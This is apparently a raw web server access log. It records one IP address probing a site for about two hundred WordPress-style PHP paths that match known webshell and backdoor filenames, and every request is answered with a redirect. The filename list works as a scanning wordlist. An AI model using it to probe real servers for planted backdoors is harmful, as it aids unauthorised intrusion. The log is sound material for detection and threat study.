196.251.80.56 - - [23/Sep/2025:14:04:45 -0400] "GET /wp-content/plugins/Tevolution/css.minifier.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:46 -0400] "GET /wp-content/uploads/post-new.php_.html HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:04 -0400] "GET /wp-admin/user/247@abu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:16 -0400] "GET /assets/acordeonPhp/misRutas.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:26 -0400] "GET /wp-includes/random_compat/random_bytes_dev.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:30 -0400] "GET /css//w3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:34 -0400] "GET /images//upload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:40 -0400] "GET /images//mailer.php.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:06:04 -0400] "GET /wp-admin//6dImxFueR1l.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:06:21 -0400] "GET /wp-includes/random_compat/random-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:06:25 -0400] "GET /wp-content/plugins/display-posts-shortcode/a.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:06:25 -0400] "GET /wp-content/uploads/2021/d22.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:06:30 -0400] "GET /.well-known/acme-challenge/wp-atom.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:06:53 -0400] "GET /images/banner/vfvfv.jpg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:07:12 -0400] "GET /wp-includes//wp-class.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:07:29 -0400] "GET /css//x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:07:34 -0400] "GET /wp-includes//content.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:07:44 -0400] "GET /wp-includes//notice.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:07:46 -0400] "GET /wp-includes/css/bimowdoodk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:07:55 -0400] "GET /wp-includes//wp-type.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:07:59 -0400] "GET /wp-includes//link-template-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:08:06 -0400] "GET /wp-content/plugins/woo-maxicashgateway_woo2-82/wp-signup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:08:13 -0400] "GET /wp-includes//class-wp-query-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:07:08 -0400] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:07:19 -0400] "GET /wp-content/plugins/ioxi/ioxi2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:07:19 -0400] "GET /wp-admin/images/wp-signup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:07:38 -0400] "GET /images//fosil.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:07:50 -0400] "GET /images/ccx/ HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:08:03 -0400] "GET /.well-known/acme-challenge/mini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:08:06 -0400] "GET /wp-content/uploads/2014/heysrv.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:08:06 -0400] "GET /wp-includes/widgets/class-wp-widget-categories-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:08:42 -0400] "GET /wp-includes//block-template-utils-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:08:51 -0400] "GET /images//Marvins.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:00 -0400] "GET /wp-includes/block-patterns/large-header-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:09 -0400] "GET /wp-includes/Requests/Auth-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:16 -0400] "GET /wp-content/uploads/sidwso.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:16 -0400] "GET /wp-content//pm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:20 -0400] "GET /wp-admin//BLUfSA1iDQb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:25 -0400] "GET /wp-admin//7J18dU2cuFh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:32 -0400] "GET /images//images/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:41 -0400] "GET /wp-admin//betdiyffse.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:48 -0400] "GET /assets//oemtgzud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:51 -0400] "GET /wp-admin//S6IeatTNmVF.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:55 -0400] "GET /wp-includes/ChbRoNP/fw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:01 -0400] "GET /wp-content//css.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:13 -0400] "GET /assets/images/5f022fb38b.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:16 -0400] "GET /wp-content/uploads/rmp-menu/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:16 -0400] "GET /wp-includes//class-wp-block-template-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:21 -0400] "GET /wp-includes/SimplePie/themes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:24 -0400] "GET /wp-includes//fox.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:32 -0400] "GET /wp-content//a.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:32 -0400] "GET /wp-includes//ms-load-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:49 -0400] "GET /images/images/about.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:52 -0400] "GET /images//en_bypass403.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:56 -0400] "GET /css//404.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:59 -0400] "GET /.well-known//plugins.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:02 -0400] "GET /wp-content/plugins/aphjngp/ HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:05 -0400] "GET /wp-includes//enjeidqspo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:09 -0400] "GET /wp-includes//spl-autoload-compat-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:13 -0400] "GET /wp-admin//JK9hXPay7BC.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:08:18 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:08:27 -0400] "GET /images/images/LizKer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:08:33 -0400] "GET /images/headers/pomp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:08:36 -0400] "GET /wp-includes/ID3/xmrlpc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:08:45 -0400] "GET /wp-admin//jp1dw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:08:55 -0400] "GET /wp-admin//hvbX9oDm8sL.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:05 -0400] "GET /wp-includes//lcaqowhkwq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:12 -0400] "GET /wp-includes//log.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:16 -0400] "GET /wp-includes//feed-atom-comments-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:25 -0400] "GET /wp-content/uploads/bl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:36 -0400] "GET /wp-admin//5snEQ41ofRh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:41 -0400] "GET /wp-content/themes/themes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:45 -0400] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:55 -0400] "GET /wp-content//link.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:09:58 -0400] "GET /.well-known//pxcxkpdpff.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:02 -0400] "GET /wp-includes//anjas.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:05 -0400] "GET /wp-includes/Requests/Cookie-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:09 -0400] "GET /wp-content//j.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:09 -0400] "GET /images/dir/HNAbINnn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:13 -0400] "GET /.well-known/pki-validation/wp-cron1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:13 -0400] "GET /wp-content//autoload_classmap.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:27 -0400] "GET /wp-includes//class-wp-theme-json-schema-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:37 -0400] "GET /images/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:39 -0400] "GET /css/dg/SFNN.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:46 -0400] "GET /wp-includes/block-supports/allez.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:52 -0400] "GET /wp-content/uploads/user_uploads/info.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:54 -0400] "GET /wp-includes//indo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:10:58 -0400] "GET /wp-content/uploads/1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:02 -0400] "GET /wp-includes//alfa-rex.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:29 -0400] "GET /assets/js/form.plugins.js HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:42 -0400] "GET /.well-known/acme-challenge/leaf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:46 -0400] "GET /wp-includes//cof.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:58 -0400] "GET /images//pluginfotos.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:05 -0400] "GET /images//contato.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:11 -0400] "GET /wp-content/uploads/bulk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:11 -0400] "GET /wp-includes/ID3/403ws.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:16 -0400] "GET /wp-admin/images/functionsn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:23 -0400] "GET /wp-includes/pomo/tablepress_controllers.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:17 -0400] "GET /wp-includes//cron-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:20 -0400] "GET /wp-includes/pomo/xmrlpc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:23 -0400] "GET /wp-admin//3RQzwafepDV.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:33 -0400] "GET /wp-includes/pomo/treame.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:36 -0400] "GET /wp-admin/network/theme-object.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:46 -0400] "GET /wp-content/uploads/booking_calendar/yu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:49 -0400] "GET /wp-content/uploads/membres/add-membre.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:49 -0400] "GET /wp-includes/ID3/cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:51 -0400] "GET /css//admin_styles.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:11:54 -0400] "GET /wp-includes//about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:01 -0400] "GET /wp-includes/rest-api/class-wp-rest-member.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:03 -0400] "GET /images//index2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:09 -0400] "GET /wp-includes/pomo/247@abu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:14 -0400] "GET /wp-includes/html-api/cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:21 -0400] "GET /images//pushy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:27 -0400] "GET /wp-admin/images/searchy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:31 -0400] "GET /wp-includes//uplaod.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:33 -0400] "GET /wp-includes//1243-345.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:38 -0400] "GET /images//ini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:40 -0400] "GET /wp-content/plugins/plugins-setting/modules.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:44 -0400] "GET /wp-includes//wp-includes/post-formats.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:46 -0400] "GET /wp-admin/images/cong.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:53 -0400] "GET /wp-content/plugins/dapeasyinstaller/validation_result.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:53 -0400] "GET /wp-includes/SimplePie/acces.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:58 -0400] "GET /wp-includes//24.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:00 -0400] "GET /assets/js/jquery.plugin.min.js HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:03 -0400] "GET /images//mmls.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:09 -0400] "GET /wp-content/plugins/linkpreview/211003.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:09 -0400] "GET /.well-known//owl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:13 -0400] "GET /assets/php/club_mysqli_admin_photo_club_selected.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:17 -0400] "GET /.well-known/pki-validation/21889_errorlog.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:19 -0400] "GET /wp-includes/customize/class-wp-customize-filter-xml.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:22 -0400] "GET /wp-admin/images/commenth.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:34 -0400] "GET /assets//assets/init.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:40 -0400] "GET /wp-content/uploads/2016/uploadTest.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:40 -0400] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:44 -0400] "GET /wp-content//waddmore4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:44 -0400] "GET /images/icons/wp-sigunq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:46 -0400] "GET /images//mscr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:48 -0400] "GET /wp-content/uploads/2013/get_declared_interfaces.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:00 -0400] "GET /.well-known//js.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:09 -0400] "GET /images//membernew.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:23 -0400] "GET /images//img-nav-3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:25 -0400] "GET /images/megamenu/megamenu-sale-off.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:29 -0400] "GET /css//css.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:34 -0400] "GET /images//order_form_a.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:42 -0400] "GET /css//styles.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:45 -0400] "GET /images/front_galery/site-brandes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:49 -0400] "GET /wp-includes/css/01%20copy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:56 -0400] "GET /assets//nova-objava.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:03 -0400] "GET /wp-includes//email.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:09 -0400] "GET /wp-includes/css/wp-embed-template-ie.min.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:14 -0400] "GET /.well-known/pki-validation/copypaths.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:34 -0400] "GET /.tmb//owl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:36 -0400] "GET /wp-includes/certificates/wp-sigunq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:40 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:51 -0400] "GET /wp-includes//8a6fff0.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:12:57 -0400] "GET /wp-content/plugins/CropImage/addcrop.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:06 -0400] "GET /.tmb//cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:17 -0400] "GET /assets/includes/resume.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:25 -0400] "GET /css//e-preview.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:30 -0400] "GET /wp-includes//array_reduce.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:37 -0400] "GET /wp-includes/theme-compat/later.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:48 -0400] "GET /wp-includes/pomo/ftp_nb_fget.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:52 -0400] "GET /wp-content/uploads/lang_import.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:52 -0400] "GET /images//unzip.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:13:55 -0400] "GET /wp-includes//class-wp-uploads.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:03 -0400] "GET /assets/js/reg_backup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:05 -0400] "GET /wp-admin/user/options-general.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:13 -0400] "GET /css//upfile.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:16 -0400] "GET /wp-content/uploads/2021/cong.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:16 -0400] "GET /wp-admin/images/abu.php HTTP/1.1" 301 795 "-" "-"
91.188.75.80 - - [23/Sep/2025:14:14:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
196.251.80.56 - - [23/Sep/2025:14:14:19 -0400] "GET /wp-includes//class-wp-admin-error.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:32 -0400] "GET /.well-known//jvc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:37 -0400] "GET /.well-known//subirfoto.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:39 -0400] "GET /assets/up/ajaxfileupload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:45 -0400] "GET /wp-includes/customize/class-wp-customize-background-image-control.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:49 -0400] "GET /wp-content/uploads/2010/feeds.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:51 -0400] "GET /wp-content/plugins/accountancy-old/options-backup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:51 -0400] "GET /images/matr_imgs/347_fle_img_pic.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:14:59 -0400] "GET /wp-includes//flickr.class.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:08 -0400] "GET /wp-content//RG7F89afA.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:17 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:20 -0400] "GET /wp-content/uploads/upload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:20 -0400] "GET /assets/images/3c6f65e732.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:27 -0400] "GET /.well-known/acme-challenge/sclass_api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:32 -0400] "GET /wp-includes/cRyzDAH/lu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:47 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:14 -0400] "GET /wp-includes//class-wordpress-license.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:17 -0400] "GET /wp-includes/PHPMailer/wp-cache.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:25 -0400] "GET /wp-includes//class-wp-customizes-settings.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:34 -0400] "GET /wp-includes//class-wp-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:37 -0400] "GET /wp-includes//input.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:41 -0400] "GET /wp-includes/ID3/getid3s.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:44 -0400] "GET /wp-includes//class-detect-spam.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:47 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:50 -0400] "GET /wp-includes/IXR/class-IXR-data.php HTTP/1.1" 301 795 "-" "-"
91.188.75.80 - - [23/Sep/2025:14:15:51 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
196.251.80.56 - - [23/Sep/2025:14:15:56 -0400] "GET /wp-content/uploads/2020/new.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:00 -0400] "GET /wp-includes//library.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:06 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:09 -0400] "GET /.well-known/pki-validation/db-update.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:12 -0400] "GET /wp-content//sclass.api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:12 -0400] "GET /wp-includes//class-wp-session-json.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:14 -0400] "GET /wp-includes//class-wp-post-link.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:17 -0400] "GET /wp-content/uploads/0z.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:17 -0400] "GET /.well-known//screen_04.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:21 -0400] "GET /wp-content/plugins/wpsml-sys.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:21 -0400] "GET /cgi-bin/test/class_api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:21 -0400] "GET /wp-includes/css/gtoext.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:28 -0400] "GET /assets//lib.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:35 -0400] "GET /.well-known//iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:41 -0400] "GET /wp-content/uploads/2022/class_api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:41 -0400] "GET /wp-includes//class-matchesmapregex-error-comment.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:48 -0400] "GET /wp-includes//include.php HTTP/1.1" 301 795 "-" "-"
